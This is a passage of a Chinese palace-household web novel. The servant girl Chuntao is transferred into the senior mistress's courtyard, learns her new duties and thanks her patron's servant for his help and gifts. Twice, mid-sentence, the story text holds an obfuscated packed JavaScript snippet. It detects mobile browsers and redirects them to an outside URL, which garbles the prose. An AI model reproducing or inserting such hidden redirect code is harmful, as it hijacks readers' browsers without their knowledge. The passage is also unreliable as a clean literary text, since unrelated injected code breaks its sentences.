李奶奶拼死筹谋女儿的前程，不就是为了在下人堆里出头炫耀吗，如今这局面正合她意，整个人乐得连打鸡蛋都打出鼓点来了，不过面子上还是谦虚道：“什么穿金戴银，不过是进去给大太太做几年粗活，那丫头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613252|187624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子是个粗苯的，怕没有那样的福分。” 众人又是“哪里哪里”、“您老有眼光，以后只等着享清福”、“春桃那丫头原先我就看她不错”的一阵子恭维。 吴嫂子专等众人恭维完毕，这才凑到李奶奶跟前，热络的给李奶奶打下手，道：“可不知是走了哪家的门路，事情竟办的这么利索，我们家翩翩也看着不小了，李奶奶您老神通广大的，给你这干女儿也筹谋筹谋啊！” “哎呀哪有什么门路……”还不等李奶奶张口，这头屋子的春秧儿连叫一声“不好”，连鞋都没来得及穿，扑腾着就往厨房去了，春桃也连忙跟着小姐妹的步伐。 “李奶奶！四小姐说今儿不许放那样呛人的菜了，我竟忘了回您了！” 李奶奶忙拍脑门子，道：“那必定是香椿了，四小姐不爱吃香椿，可巧昨儿那道糟鹅肉我是用香椿来配的，只有那么一星子，就让四小姐尝出来了。”说罢又来拧春秧的屁股肉，“你个讨债鬼化生的贱蹄子，主子传话你到这时候才来回！”春秧一叠声的喊叫，又是哇哇大哭又是闹腾，直搅得整个后厨乱糟糟的，被李奶奶气得用脚跺了出来。 春秧逃命一般捂着屁股窜出来，笑嘻嘻的被春桃稳稳扶住。 被她这样一闹，原先的话题就变成了四小姐的口味是多么的刁钻，其他厨娘也都叽叽喳喳说自己几时遭到主子的刁难，几时想尽百宝做的饭被主子随便打砸了，嚷嚷个没完，吴嫂子见没了话头儿，只得作罢，从桌上拿了几片肉塞进女儿翩翩嘴里，便一声不响的接着给李奶奶打下手。 春桃给春秧揉着屁股，这样的闹剧几天便要来上这么一出，基本上都是春秧挨打，偶尔也会打春桃，小姊妹两个都习惯的不能再习惯了。 “我就不爱吴嫂子，什么事儿都爱乱打听，偏偏李奶奶老眼昏花，瞧不出她没安好心，还和她交好呢。” 春桃瞥见从厨房走出的身影，连忙对春秧做了个噤声儿的动作。 来人是吴嫂子的闺女，翩翩。 “两位姐姐好。” “你妈不来，我们就好。”春秧瓮声瓮气的回怼。 见翩翩无措的站在那儿，春桃知道也不能闹得太僵，连忙打圆场，冲翩翩笑道：“吴嫂子今儿怎么有空来领着你进来逛逛？” 春桃的用词是“进来”，其实是因为翩翩并不是白府的家生丫鬟，家中只有一个吴嫂子是在白府效力的，按照往常，翩翩是要在家中呆着。只是吴嫂子心思活络，想把女儿卖进白府做丫鬟，便三不五时的领着女儿从后门进府转转。翩翩是那种干瘦枯黄的小丫头，虽和春桃春秧一般大，但并没有两个春建康高挑的身形。实在是这些年世道艰难，吴嫂子要把女儿卖进白府，一则家中能少一个人口，二则翩翩也能吃饱饭，也算是很长远的打算了。 “我妈说，今儿就要领我去交给账房太太，顺道儿来瞧瞧李奶奶，想看该怎么打点，能不能把我也塞进宜兰院。” 小孩子总是不设防的，转头就把自己老妈卖了个底儿掉。 两个春神色了然。 8. 前程恩情 “可见是世道越发艰难了，连你妈妈这样精明会过日子的人都得把女儿卖进府里。” “其实卖进来才是正理儿，我听隔壁太尉府的丫鬟绣橘说，如今各省闹饥荒的厉害，北边的中山国和魏国乱的要命，经常有中山国的饥民逃到咱们国来，被乱箭一茬茬的射死，外头乱糟糟的，京城的老百姓也难开交。”春桃接话道，眼见另外两个小姑娘神色变得惊恐，连忙转了话头对翩翩道：“你进了府，一则家中能少一个人口，二则到底府里能给你保障吃饭，你妈妈的筹谋不错的。” 翩翩连连点头。 春秧则是挑眉冲春桃道：“你几时认得了太尉府的人啊？” “上次送栗子糕给二爷，那时结交的，她在太尉府公子跟前侍奉，想来这些事是太尉府公子告诉她的。她三不五时的还给我些糕点吃，上次给你尝的那块龙须酥，就是她给的。” 其实那天还结交了白三爷，春桃甜滋滋的想着。 春秧点点头，小小的人儿做出一副老成市侩的模样儿，对春桃道：“不错，以后介绍我认识。”春桃答应。 翩翩见两个春你一句我一句，说的都是她一辈子也不知道的话，不由心中羡慕，越发认可了母亲把自己卖进府里的决策。 几个小姑娘闲话的间隙，管家太太任兴媳妇便在这时来到了后厨。吴嫂子见任兴媳妇大驾光临，连忙丢下手中活计，给任兴媳妇问好作揖，笑的极其谄媚。 谁知任兴媳妇直接越过了吴嫂子，并没有给她眼神。 管家太太驾临，兀自在院中站定，后厨的几位厨娘与各自跟的小丫头学徒等，便立刻丢了手中活计，在院子里一字儿排开听候训示。 “哪个是春桃小丫头？”任兴媳妇并不理会众人，连一句多余的客套也无。 李奶奶连忙上前，把春桃扯过来交给任兴媳妇。任兴媳妇是大太太跟前听差的管家奶奶，生的细皮嫩肉，匀白的脸，用眉笔勾出一双细高眉毛，眼神没分给任何人，只瞧了一眼春桃，点头道：“先去灵棋姑娘那儿派差，晚间儿再回来拿包袱收拾住处。” 竟直接就走马上任了！这么快！春桃和春秧对视一眼，在对方眼中皆看到了惊喜的神色。来不及与李奶奶作别，春桃便被任兴媳妇揪着胳膊领走了。 在此之前，春桃曾无数次的或憧憬或恐惧的幻想着她进入宜兰院的生活，她以为她呆钝淡漠的性子会很难与宜兰院的精英丫鬟们相处。毕竟这里是白府头部话事人大太太庄氏所居的院落，是朝廷命官后宅的心脏所在，在里面的丫鬟不是精明能干，便是身有所长，在府中出入行走，皆是用鼻子看人，想想都难以相处。 任兴媳妇自然不会照顾这三等小丫鬟的心情，一路上用大太太御下的手段恫吓着春桃，不外乎是希望吓住这个十二三的小丫头，让她乖乖听话，自己的差事便了结了。 “宜兰院可不比别处，错了规矩只管打死，不许出院子，不许胡乱穿戴衣裳首饰，正堂没吩咐不得进去……” 任兴媳妇的话还在继续，春桃心中的恐惧也渐渐加重，她回头看了看愈来愈远，渐渐模糊在视线里的后厨，有些想哭，却也知道她再回不去了。从三四岁离了娘起，她被各种人牙子在大大小小的城市倒卖，最终飘萍一般落在了白府，李奶奶不是她的亲娘，那短暂的养育之恩亦是明码标价，她要回去后厨是绝对不会被接受的，这里没有人会像亲生爹娘一样惯着她。 春桃直到脚步踏进宜兰院之前，心中都有一种扭头跑回后厨的冲动，讲真的，如果李奶奶是她亲娘，她铁定跑。 这样恍惚的情绪，直到她被领到宜兰院的后罩房，交给了二等丫鬟谷雨，手中被赏赐了一大盆衣服后才稍稍停止。 任兴媳妇每日忙得恨不能分身，也就是宜兰院的丫鬟调动能劳动她老人家费心跑一趟腿，不过也就是把春桃扔给大丫鬟灵棋，灵棋再扔给二等丫鬟谷雨，就算完事。 “后门口有水池子，你去把这盆衣服洗了，到放饭前全晾了，这一盆子是翠陌姐姐的衣服，可马虎不得，”谷雨是宜兰院的二等丫鬟，负责一些粗使小丫鬟的差事派遣，她口中的翠陌便是高她一级的一等大丫鬟，大丫鬟们的外穿衣物平日里都会交给粗使丫鬟去洗，因此谷雨便将这盆衣服交托给了春桃，又补充道：“后门子上还有个叫水儿的，你们一处浆洗，她会告诉你之后晾哪儿，洗完了来回我才能出院子，听清了？” 春桃连忙点头，谷雨将宜兰院后门的方向指了指，便进了主屋后院的丫鬟居处。 春桃到了水池子，和正在洗衣服的小丫头子水儿打了声招呼，表明了自己的身份。 “可算是来新人了！”水儿一边搓衣服，一边满脸欣喜的感叹道：“自从之前我们院死了几个丫鬟，几下里是越发的难了！我们五个人顶着从前八个人的差事，没日没夜都忙不过来的，如今崔奶奶终于舍得往进添人了。” 宜兰院的人事规制按照定例，是大丫鬟四个，二等丫鬟六个，粗使的三等丫鬟是八个到十个。 年前的一场大瘟疫，不光外头死了不计其数，白府的丫鬟奴婢也是倒下了一大茬，各房各院的人手都是不足。如今世道艰难，朝廷的俸禄都三不五时的拖欠扣压，除非是周家郑家这样的仕宦大家能屹立不倒，寻常根基浅薄的京官都多多少少受时局影响，不得不缩减用度，再难撑起贵族的门面。 白家全靠大太监荣保福荫庇佑，再加之大太太庄氏出身江南富商巨贾，已经算是少数还能经营起庞大豪奢开销的勋贵。不过也是拆东补西，外头光鲜亮丽，家下里的仆妇丫鬟却是有苦难言，人手不够，便只能一个人顶两个人的差事。 因此白府各房主子要扩充奴婢队伍的这个举动，便成了诸如李奶奶、吴嫂子这种底层仆役向上跃迁的新门路，大家都消尖了脑袋的走门路、想办法，只求往主子院子里塞自家人。 春桃便是注入宜兰院的第一股新鲜血液，有人分担差事，水儿这样的三等小丫头自然喜不自胜。 两个小丫鬟一边闲话，一边互相帮着拧干衣服，一下午的时光倒也好打发。 之后水儿又教着春桃在后门上支起的竹架子上挂晾衣裳，直到日落西山才忙活完。这一盆衣服虽说不甚多，但都是大件儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613253|187624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要全洗干净拧干水分也实在够磨人的，好在春桃自幼吃苦，这些活计从小就上手，也不十分难以忍受。 她去了奴婢屋，去给谷雨回了话，方才得了准她出院子的指示。春桃如今算是宜兰院的丫头，便不能像从前那样从宜兰院的正门出去，便继续从后门绕过水池子往后厨去拿自己的包袱。 因为时间尚且宽裕，春桃又自掏腰包央求二门外的小厮小石头去街市上买了些新鲜各色茶果，还叮嘱小石头务必少买甜食。她打一个来回从后厨收拾完自己的东西又到了二门，等了约莫一炷香的时间，小石头便匆匆的跑了回来，提了一食盒的街边小吃。春桃将油纸托着的几块浇着卤汁的旋煎羊白肠给了小石头，谢过他之后，便趁着暮色抄没人的小路往蕴绿轩的方向去了。 她已经想明白了，全凭李奶奶必然没有那个本事把她弄进宜兰院，这中间必有个她不知道的关节是三爷替她打通的，不然怎会这么快的就如愿以偿了？她在后厨帮工这几年，也从不曾有这样的狗屎运降临她的身上。虽不知三爷具体做了什么，但受人之恩，没有不谢的道理。 进了宜兰院，想再出来就难了，因此今晚的空儿是最适合的。 只是今日她依旧没见着三爷，在蕴绿轩接待她的是从嘉。 “三爷料的不错，你果然会来，只是三爷近日往庄子上养病去了，不在府上，这些谢礼你自拿回去消受罢，以后三爷若有吩咐，我再告与你知晓。” 听到三爷不在，春桃耷拉下眼眸，依着礼又让了几次，从嘉只是不收，便只得作罢。 “你如今在宜兰院服侍，凡事小心，院中诸人未必好相与。你还小，先安稳度日打好根基，至于往后的事，全看天命，切莫性急要强惹祸上身，这是三爷让我叮嘱你的原话。” 这是说，报恩的事不十分急，要她先在宜兰院做好本分的事，以后如有机缘再想办法回报三爷的恩情。 其实春桃也是这样想，要做到照顾方姨娘，其实不是容易事，她一个粗使的小丫鬟，如果没有向上跃迁的机缘，爬不到高位丫鬟的地位，想周济一位不受宠的姨娘，恐怕连人面都见不到。 春桃心生感激，连连应允。 从嘉又拿出一个小包袱，递给春桃道：“三爷知你们素日劳作辛苦，这包里是两吊钱和照你身形裁的两身里衣，各色穿戴的东西，和一些擦脸擦手的小玩意儿。李奶奶年事已高，怕是不能为你想周全。以后头疼脑热或是需要人情往来的，有些小钱傍身也可以周转得动。若是遇到什么难处，告诉了我，我回禀三爷，也好为你拿个主意。” 末了，从嘉又补充道：“这都是为了你以后能安心办好三爷交代你的差事，收着吧，若是不收我也难回话的。” 春桃听话接过包裹，就连手都在颤抖。实话说，现在就算是三爷让她去杀人越货，她也能立刻抄起刀眼睛不眨的勇往直前。 没办法，小姑娘就是这么好收买。 临出门前，春桃听到从嘉道：“珍重。” 小姑娘点点头，眼中的泪差点一个没绷住，赶忙捂着脸消失在幽深斑驳的竹林中。